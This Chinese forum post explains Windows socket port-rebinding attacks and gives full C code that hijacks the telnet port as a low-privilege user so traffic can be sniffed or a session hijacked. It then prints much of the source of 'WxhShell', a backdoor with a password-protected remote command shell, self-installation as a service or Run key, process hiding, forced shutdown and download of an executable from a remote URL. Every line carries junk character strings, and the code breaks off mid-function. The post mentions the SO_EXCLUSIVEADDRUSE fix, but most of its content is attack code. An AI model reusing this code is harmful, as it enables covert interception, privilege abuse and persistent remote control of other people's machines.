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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wM[~2C=vx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,<DB&&EV8  
;WL1B   
  saddr.sin_family = AF_INET;  Xtq{%  
?X?&~3iD%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (6v (9p  
c"!lwm3b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 09o~9z0  
Z>)][pL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G;3~2^lB\  
zY+Fl~$S  
  这意味着什么?意味着可以进行如下的攻击: ?[x49Ux,P  
{K#NB_*To  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0ult7s}  
/J)l/oI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Jw~( G9G  
``ekR6[8c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *Ywpz^2?:  
80M;4nH^5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R_sC! -  
kj5Q\vr)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .lhn;*Yi  
^[Cv26  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~7!7\i,Y8\  
v&FF|)$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yk2!8  
97!>%d[0  
  #include z'p:gv]  
  #include l8K5k:XCU3  
  #include 27ckdyQx  
  #include    >MJ?g-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   KNgH|5Pb  
  int main() }B7K@Wu#  
  { |_u8mV  
  WORD wVersionRequested; \8O O)98'  
  DWORD ret; fQ>4MKLw=d  
  WSADATA wsaData; ]aCk_*U  
  BOOL val; ~tB;@e  
  SOCKADDR_IN saddr; (SVWdgb  
  SOCKADDR_IN scaddr; (eCFWmO  
  int err; ECa$vvK m  
  SOCKET s; 9s +z B  
  SOCKET sc; hgRVwX  
  int caddsize; {J/I-=CmML  
  HANDLE mt; vFrt|JC_{  
  DWORD tid;   acd:r%y  
  wVersionRequested = MAKEWORD( 2, 2 ); 1r r@  
  err = WSAStartup( wVersionRequested, &wsaData ); mmw^{MK!  
  if ( err != 0 ) { PC c|}*b  
  printf("error!WSAStartup failed!\n"); =G~~?>=@2  
  return -1; !A8^Xmz"  
  } -G &_^"=R  
  saddr.sin_family = AF_INET; HEqWoV]{d  
   /W#O +  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3>z[PPw  
;evCW$G=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0e["]Tlnm  
  saddr.sin_port = htons(23); l6[lJ0Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \F,DA"K_  
  { }W)=@t  
  printf("error!socket failed!\n"); IGX:H)&*  
  return -1; ,(G%e  
  } f]~c)P Cs  
  val = TRUE; 2}}?'PwwT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ja]o GT=e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &Y@#g9G  
  { 3HyhEVR-#~  
  printf("error!setsockopt failed!\n"); M4Z@O3OI E  
  return -1; !}3,B28  
  } P,gdnV ^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 151tXSzLT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "fQRk  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C-P06Q]  
c.H?4j7ga  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ghk5rl$   
  { e`{0d{Nd  
  ret=GetLastError(); @D`zKYwX1  
  printf("error!bind failed!\n"); i`%.  
  return -1; N$?cX(|7  
  } ( g :p5Rl  
  listen(s,2); M/V(5IoP (  
  while(1) +V v+K(lh$  
  { z*~YLT&  
  caddsize = sizeof(scaddr); $7I] `Jt  
  //接受连接请求 5T4"j;_.BL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sc`"P-J+vp  
  if(sc!=INVALID_SOCKET) {gf>*  
  { e{G_GycH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rqCa 2  
  if(mt==NULL) wCZO9sU:6=  
  { |pZo2F!.  
  printf("Thread Creat Failed!\n"); gvli%9n  
  break; p}]q d4j  
  } E(+T*  
  } >e5zrgV  
  CloseHandle(mt); Q882B1H  
  } r -f  
  closesocket(s); 0rMqWP  
  WSACleanup(); .")b?#K  
  return 0; PB~_I=  
  }   &yH#s 8^8  
  DWORD WINAPI ClientThread(LPVOID lpParam) MQcE6)  
  { 5{ >0eFzG  
  SOCKET ss = (SOCKET)lpParam; 0yof u  
  SOCKET sc; i%(yk#=V  
  unsigned char buf[4096]; `rWB`q|i<  
  SOCKADDR_IN saddr; CKARg8o  
  long num; 6i@ub%qq  
  DWORD val; 4 9w=kzo  
  DWORD ret; YaFcz$GE_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -oBI+v&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   AfWl6a?T8:  
  saddr.sin_family = AF_INET; rFag@Z"["  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #!!AbuhzK{  
  saddr.sin_port = htons(23); >.dHt\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4E"d/  
  { ='/Z;3jt]x  
  printf("error!socket failed!\n"); 3\!F\tqD \  
  return -1; oo'w-\2]p  
  } #-x@"+z  
  val = 100; KvFR8s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V> a*3D  
  { 5]"BRn1*  
  ret = GetLastError(); XK3]AYH  
  return -1; <A~GW 'HB  
  } P!+v:'P5f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) okBE|g  
  { 6c\DJD  
  ret = GetLastError(); < tQc_  
  return -1; l=Wd,$\  
  } \ZnN D1A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) OCx5/ 88X  
  { kJ8vKcc  
  printf("error!socket connect failed!\n"); yuNfhK/#r  
  closesocket(sc); :4;S"p  
  closesocket(ss); <%!J?  
  return -1; .:0M+Jr"  
  } 4]6Qr  
  while(1) &G{2s J5{  
  {  {;RF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^tE_LL+ji|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]t/f<jKN^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :::>ro*R  
  num = recv(ss,buf,4096,0); 5-p.MGso  
  if(num>0) iPU% /_>  
  send(sc,buf,num,0); }K8Lm-.=  
  else if(num==0) @%B4;c  
  break; qyv"Wb6+  
  num = recv(sc,buf,4096,0); :GL7J6  
  if(num>0) RWE~&w G}  
  send(ss,buf,num,0); '0Zm#g  
  else if(num==0) XV2=8#R  
  break; ]bfqcmh<  
  } hPPB45^  
  closesocket(ss); kME^tpji  
  closesocket(sc);  rA#s   
  return 0 ; aYj%w  
  } XM!M%.0WS  
=h\E<dw  
"]<}Hy  
========================================================== a%n'%*0  
PPgW ^gj  
下边附上一个代码,,WXhSHELL >ITEd  
nO_!:6o".  
========================================================== }N|\   
u{+!& 2}k  
#include "stdafx.h" 6^ik|k|  
DQ5W6W  
#include <stdio.h> 6K// 1U$  
#include <string.h> Q [:<S/w  
#include <windows.h> Ars,V3ep  
#include <winsock2.h> #NJ<[Gew  
#include <winsvc.h> E._hg+ (Hi  
#include <urlmon.h> t&pGQ  
hZ o5p&b  
#pragma comment (lib, "Ws2_32.lib") ;Id"n7W  
#pragma comment (lib, "urlmon.lib") =~",/I?  
6H6Law!)  
#define MAX_USER   100 // 最大客户端连接数 v$JLDt_  
#define BUF_SOCK   200 // sock buffer @Z=wE3T@  
#define KEY_BUFF   255 // 输入 buffer /hfUPO5  
wi BuEaUkW  
#define REBOOT     0   // 重启 cyb(\ fsC  
#define SHUTDOWN   1   // 关机 \>;%Ji  
j]4,6` b\  
#define DEF_PORT   5000 // 监听端口 S~|tfJpL  
-R74/GBg  
#define REG_LEN     16   // 注册表键长度 OequU'j  
#define SVC_LEN     80   // NT服务名长度 )]}$   
>Qk97we'9  
// 从dll定义API ER2V*,n@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~,G]glu8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?1$\pq^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9F)W19i.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h/9Sg*k  
XC}1_VWs  
// wxhshell配置信息 :3gFHBFDj  
struct WSCFG { w< mqe0  
  int ws_port;         // 监听端口 VwC4QK,d;  
  char ws_passstr[REG_LEN]; // 口令 fU` T\  
  int ws_autoins;       // 安装标记, 1=yes 0=no /'"R Mq  
  char ws_regname[REG_LEN]; // 注册表键名 n531rkK-   
  char ws_svcname[REG_LEN]; // 服务名 |DGCdB|`G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XJ\_ V[WA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  2+Vp'5>&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6,zDBax  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]wR6bEm7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p`L L   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D0KELA cY  
i2U/RXu  
}; E]?2!)mgce  
`{WCrw6)  
// default Wxhshell configuration 1V\1]J/  
struct WSCFG wscfg={DEF_PORT, N&,"kRFFo  
    "xuhuanlingzhe", {~"Em'}J  
    1, XJ _%!  
    "Wxhshell", ZgK@Fl*k  
    "Wxhshell", ) _ #T c  
            "WxhShell Service", rSbQ}O4V  
    "Wrsky Windows CmdShell Service", Y& m<lnB  
    "Please Input Your Password: ", hN}5u"pS  
  1, .;j"+Ef   
  "http://www.wrsky.com/wxhshell.exe", lvG3<ls0K$  
  "Wxhshell.exe" . *Z#cq0  
    }; ![j(o!6&  
nT)~w s  
// 消息定义模块 {6DpPw^"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HK? Foo?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `} ZL'\G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m9uUDq#GJ  
char *msg_ws_ext="\n\rExit."; ={OCa1  
char *msg_ws_end="\n\rQuit."; KM EXT$p  
char *msg_ws_boot="\n\rReboot..."; gMCy$+?  
char *msg_ws_poff="\n\rShutdown..."; &9k"9  
char *msg_ws_down="\n\rSave to "; i /C'0  
l; */M.B  
char *msg_ws_err="\n\rErr!"; B piEAwh  
char *msg_ws_ok="\n\rOK!"; S [ i$e  
3!1&DII4  
char ExeFile[MAX_PATH]; x vHOY:  
int nUser = 0; ;\1b{-' l  
HANDLE handles[MAX_USER]; 5,Qy/t}K  
int OsIsNt; 9B& }7kk  
>&g2 IvDS  
SERVICE_STATUS       serviceStatus; x={kjym L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  hgNY[,  
Sw/J+FO2  
// 函数声明 A<]&JbIt  
int Install(void); Xk;Uk[  
int Uninstall(void); wX@H &)<s  
int DownloadFile(char *sURL, SOCKET wsh); kK08W3@&t  
int Boot(int flag); T$f:[ye]Z  
void HideProc(void); ya;@<b  
int GetOsVer(void); `AB~YX%(  
int Wxhshell(SOCKET wsl); |YJ$c @  
void TalkWithClient(void *cs); rUGZjLIGqz  
int CmdShell(SOCKET sock); aS2a_!f  
int StartFromService(void); 8U8P g2  
int StartWxhshell(LPSTR lpCmdLine); _3*: y/M_  
e_tZja2s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oM-b96  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8a_ UxB  
c,+iU R<  
// 数据结构和表定义 /abmjV0  
SERVICE_TABLE_ENTRY DispatchTable[] = USH@:c#t  
{ /YS@[\j4  
{wscfg.ws_svcname, NTServiceMain}, +0pgq (  
{NULL, NULL} %-T}s`Z  
}; lK_ ~d_f  
&9S8al 8"  
// 自我安装 oD Q9.t  
int Install(void) Zjw!In|vC  
{ jt0H5-x  
  char svExeFile[MAX_PATH]; pW`ntE#L  
  HKEY key; W` WLW8Qsw  
  strcpy(svExeFile,ExeFile); &E} I  
>|y>e{P  
// 如果是win9x系统,修改注册表设为自启动 F0X5dv  
if(!OsIsNt) { "v*oga%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^U R-#WaQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gNG0k$nP  
  RegCloseKey(key); B:B0p+$I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nD^{Q[E6=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kq-mr  
  RegCloseKey(key); g| _HcaW  
  return 0; z0EjIYI[N  
    } 9[6G8;<D&  
  } r_{)?B  
} j=`y  @~  
else { qiF@7i  
V.O<|tl.  
// 如果是NT以上系统,安装为系统服务 "it`X B.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UwvGr h  
if (schSCManager!=0) *##QXyyg  
{ ]?v?Qfh2  
  SC_HANDLE schService = CreateService k^L#,:\&V  
  ( GLbc/qs  
  schSCManager, Gsx^j?  
  wscfg.ws_svcname, EOMuqP)  
  wscfg.ws_svcdisp, O7Y P_<,#  
  SERVICE_ALL_ACCESS, PT 0Qzg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F5 :2TEA  
  SERVICE_AUTO_START, T)$ 6H}[c  
  SERVICE_ERROR_NORMAL, Z1XUYe62  
  svExeFile, dm/-}  
  NULL, * ePDc'   
  NULL, G~b`O20N  
  NULL, cij]&$;Q  
  NULL, K|P9uHD  
  NULL uK+9gTv  
  ); iX0]g45o  
  if (schService!=0) }z9I`6[  
  { 7UeE(=Hr5  
  CloseServiceHandle(schService); ,n /SDEL  
  CloseServiceHandle(schSCManager); 1Xk{(G<\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c+)36/; X  
  strcat(svExeFile,wscfg.ws_svcname); kMfc"JXF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dXf]G6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AQJ|^'%  
  RegCloseKey(key); o(v"?Y6  
  return 0; &etL&s v  
    } 0xvMR&.H  
  } Cy`<^_i  
  CloseServiceHandle(schSCManager); F)[XIY&2/  
} F``EARG)iu  
} %8rr*l5  
-52 @%uB  
return 1; TsFV ;Sl3  
} 0{^l2?mgSb  
L@d]RMNv  
// 自我卸载  :V5!C$QV  
int Uninstall(void) wI1M0@}PV  
{ +j)-L \  
  HKEY key; 2fHIk57jP  
T2/v}  
if(!OsIsNt) { 46Y7HTwE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 42b=z//;  
  RegDeleteValue(key,wscfg.ws_regname); t ?Njw7  
  RegCloseKey(key); 14@q$}sf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DRKc&F6Qy  
  RegDeleteValue(key,wscfg.ws_regname); =Ov;'MC  
  RegCloseKey(key); /Gh x2B  
  return 0;  9^b7jw  
  } )n[`Z#  
} Sh~ 8jEk  
} JWUv H  
else { 1%]{0P0?[  
5 ~ *'>y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +Zty}fe  
if (schSCManager!=0) ~8Dd<4?F]  
{ )|59FOWg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5W:Gl?$S}  
  if (schService!=0) dctA`W@:-  
  { ~,M;+T}[r  
  if(DeleteService(schService)!=0) { Q9x` Uy  
  CloseServiceHandle(schService); MZ|c7f&`  
  CloseServiceHandle(schSCManager); jiw`i  
  return 0; N~Sue  
  } ~,`\D7Z3  
  CloseServiceHandle(schService); YDZ1@N}^B  
  } w'5dk3$"  
  CloseServiceHandle(schSCManager); CwH)6uA  
} O)=73e\  
} |~=?vw< W  
zn?a|kt  
return 1; =5s~$C  
} LNyL>VHkK  
~NxoF  
// 从指定url下载文件 h!t2H6eyF  
int DownloadFile(char *sURL, SOCKET wsh) -6 7f33  
{ {_k!!p6  
  HRESULT hr; 7Da^Jv k  
char seps[]= "/"; >FE QtD~F  
char *token; n )wpxR  
char *file; #IL~0t  
char myURL[MAX_PATH]; )n3bi QL_  
char myFILE[MAX_PATH]; o}AqNw60v  
2!~>)N  
strcpy(myURL,sURL); Y+PvL|`O  
  token=strtok(myURL,seps); _+ R_ms  
  while(token!=NULL) ek0;8Ds9  
  { x/jN& ;"/  
    file=token; Do[ F+Y  
  token=strtok(NULL,seps); zvQ^f@lq2  
  } Sj]T{3mi  
MIua\:xT  
GetCurrentDirectory(MAX_PATH,myFILE); m?kIa!GM=  
strcat(myFILE, "\\"); !~$YD*" S  
strcat(myFILE, file); Ik@Q@ T"  
  send(wsh,myFILE,strlen(myFILE),0); gYH:EuY,  
send(wsh,"...",3,0); vI:bl~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7]HIE]#  
  if(hr==S_OK) ~:RDw<PWp  
return 0; mG8  
else  qzU2H  
return 1; ;Cp/2A}Xx  
[2H(yLwO  
} *v7& T  
zf!\wY"`  
// 系统电源模块 Pi]s<3PL  
int Boot(int flag) J!^~KN6[  
{ OD@@O9  
  HANDLE hToken; scPq\Qd?O  
  TOKEN_PRIVILEGES tkp; nD?M;XN  
DHujpZXQ  
  if(OsIsNt) { X-2S*L'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /xm} ?t0U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k @/SeE  
    tkp.PrivilegeCount = 1; Wp9 2sm+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |yl0}. ()  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5\*wX.wp  
if(flag==REBOOT) { 2" {]A;@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |@bNd7=2d  
  return 0; Z@aL"@2]a  
} RxDxLU2kt  
else { yfw>y=/p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RT+30Q?  
  return 0; %[ bO\,  
} }zfLm` vJ  
  } yOCcp+`T}  
  else { 4`5Qt=}  
if(flag==REBOOT) { E,yzy[gl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =x.v*W]F`  
  return 0; ([XyW{=h!  
} "62Ysapq+  
else { Go+,jT-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $v}8lBCr3  
  return 0; OXCml(>{  
} ^[?+=1 k  
} D(ntVR  
dgqJ=+z 0y  
return 1; ^9V8M9  
} e !x-:F#4j  
h'q0eqYeu)  
// win9x进程隐藏模块 _R<V8g1f  
void HideProc(void) uc(yos  
{ \S@=zII_  
)+{omQ7v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ujp,D#xHP  
  if ( hKernel != NULL ) eq 1 4  
  { t:j07 ,1~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6%hEs6-R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [,?A$Z*Z|  
    FreeLibrary(hKernel); f+88R=-u6S  
  } .$s|T  
nF y7gA|  
return; PNxO \Rc  
} %<*pM@  
E$yf2Q~k  
// 获取操作系统版本 k49n9EX  
int GetOsVer(void) )*<d1$aM  
{ g8qAJ4  
  OSVERSIONINFO winfo; ]=XL9MI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @_:?N(%(  
  GetVersionEx(&winfo); v&/-&(+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J3}C T  
  return 1; m_ONsZHy  
  else jE5 9h  
  return 0; g:6}zHK  
} ]X;*\-  
*z:lq2"G  
// 客户端句柄模块 MKYE]D;  
int Wxhshell(SOCKET wsl) (IQ L`3f%  
{ XK9*,WA9r  
  SOCKET wsh; R\=\6("  
  struct sockaddr_in client; 52R.L9Ai  
  DWORD myID; RuEnr7gi  
*wZV*)}  
  while(nUser<MAX_USER) -EIMh^  
{ ?@BaBU:o`F  
  int nSize=sizeof(client); 7}7C0mV3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BCDf9]X  
  if(wsh==INVALID_SOCKET) return 1; ]qG5 Ne _  
n~cm?"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8i$`oMv[y  
if(handles[nUser]==0) IG@&l0ARL  
  closesocket(wsh); 0_Z|y/I.  
else  Jy[8,X  
  nUser++; aZ0iwMK  
  } E6\~/=X=%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [?o v J  
b6M)qt9R  
  return 0; mztq7[&-  
} :hdh$}y  
%lW:8 ckL  
// 关闭 socket l{x#*~g a  
void CloseIt(SOCKET wsh) BQmafpp`  
{ .Eyk?"^  
closesocket(wsh); HSFf&|qqx  
nUser--; gG>^h1_o~  
ExitThread(0); ?PtRb:RHt  
} -^yc yZ  
1ORi]`  
// 客户端请求句柄 Q"_T040B  
void TalkWithClient(void *cs) ,'DrFlI  
{ kF~e3A7C  
:rc[j@|pH  
  SOCKET wsh=(SOCKET)cs; X51$5%  
  char pwd[SVC_LEN]; Fd.d(  
  char cmd[KEY_BUFF]; PS;*N 8  
char chr[1]; dV*rnpN  
int i,j; 3sIM7WD?  
jJC( (1|  
  while (nUser < MAX_USER) { JT_B@TO\  
&!fcLJd  
if(wscfg.ws_passstr) { B>2 1A9&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5!fW&OiY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vy y\^nL  
  //ZeroMemory(pwd,KEY_BUFF); JNCtsfd  
      i=0; w:(7fu=  
  while(i<SVC_LEN) { -zkL)<7  
``CADiM:S  
  // 设置超时 vK~KeZ\,p=  
  fd_set FdRead; OvG|=  
  struct timeval TimeOut; wA&)y>n-  
  FD_ZERO(&FdRead); Y\S^DJy  
  FD_SET(wsh,&FdRead); _qNLy/AY  
  TimeOut.tv_sec=8; UHHKI)(  
  TimeOut.tv_usec=0; .[ s82c]]6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Tz~ ftf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +>({pHZ<S  
mQuaO# I,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qn&^.e9I  
  pwd=chr[0]; z3LPR:&Z  
  if(chr[0]==0xd || chr[0]==0xa) { C^O^Jj5X%  
  pwd=0; K<(sqH  
  break; 1<e%)? G  
  } >7Q7H#~w  
  i++; %*}f<k{6  
    } 6VE5C g  
h(up1(x  
  // 如果是非法用户,关闭 socket >?FCv7qN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8nR,GW\  
} P$(}}@  
$o H,:x?}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @b({QM|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z9w.=[Io  
xK'IsMo[  
while(1) { .q}k  
 p$v +L  
  ZeroMemory(cmd,KEY_BUFF); j)*nE./3  
fdW={}~  
      // 自动支持客户端 telnet标准   bd}SB-D  
  j=0; ?QVI'R:Z?  
  while(j<KEY_BUFF) { W<l(C!{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); brot&S2P><  
  cmd[j]=chr[0]; I/|n ma/ $  
  if(chr[0]==0xa || chr[0]==0xd) { "V2$g  
  cmd[j]=0; C>ZeG Vq  
  break; !-~(*tn  
  } [GM<Wt0  
  j++; ^q2zqC  
    } ywte \}  
A[a+,TN {  
  // 下载文件 P://Zi6>  
  if(strstr(cmd,"http://")) { S45_-aE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1^dWmxUZH  
  if(DownloadFile(cmd,wsh)) L,L7WObA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @kymL8"2w  
  else X:/t>0e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P2F>iK#U  
  } G$<0_0GF  
  else { px@\b]/  
H:6$) #  
    switch(cmd[0]) { 0k [6  
  nsk 6a  
  // 帮助 49GCj`As  
  case '?': { m"]ys #  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,iUx'U  
    break; #m>mYp8E.5  
  } \>k+Oyj  
  // 安装 7 i/Cax  
  case 'i': { BZ9iy~  
    if(Install()) "dTXT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~yN,FpD  
    else yjzNU5F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xi.?9J`@  
    break; ]+P &Y:   
    } W9"I++~f  
  // 卸载 *6tN o-)^  
  case 'r': { C"<@EMU9  
    if(Uninstall()) @( l`_Wx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?f&I"\y  
    else :~Y$\Ww(~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EM}z-@A>  
    break; 5{Wl(jwb  
    } RkzBn  
  // 显示 wxhshell 所在路径 T:$_1I $  
  case 'p': { bk]|C!7$  
    char svExeFile[MAX_PATH]; G]CY3xw98  
    strcpy(svExeFile,"\n\r"); H;1}Nvvd  
      strcat(svExeFile,ExeFile); ;\N*iN#K  
        send(wsh,svExeFile,strlen(svExeFile),0); M5uN1*   
    break; !4:,,!T  
    } oDa{HP\O]W  
  // 重启 ev $eM  
  case 'b': { 5>Q)8` @E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C+5nft6:  
    if(Boot(REBOOT)) `>Cx!sYhV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >^&+,*tsS4  
    else { KJ_R@,v\  
    closesocket(wsh); l.$#IE  
    ExitThread(0); T!bu}KO  
    } se[};t:  
    break; [eRMlSXA  
    } Ay]5GA!W+  
  // 关机 "RLb wm~  
  case 'd': { >Fz$DKr[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HV@:!zM  
    if(Boot(SHUTDOWN)) {QID@  
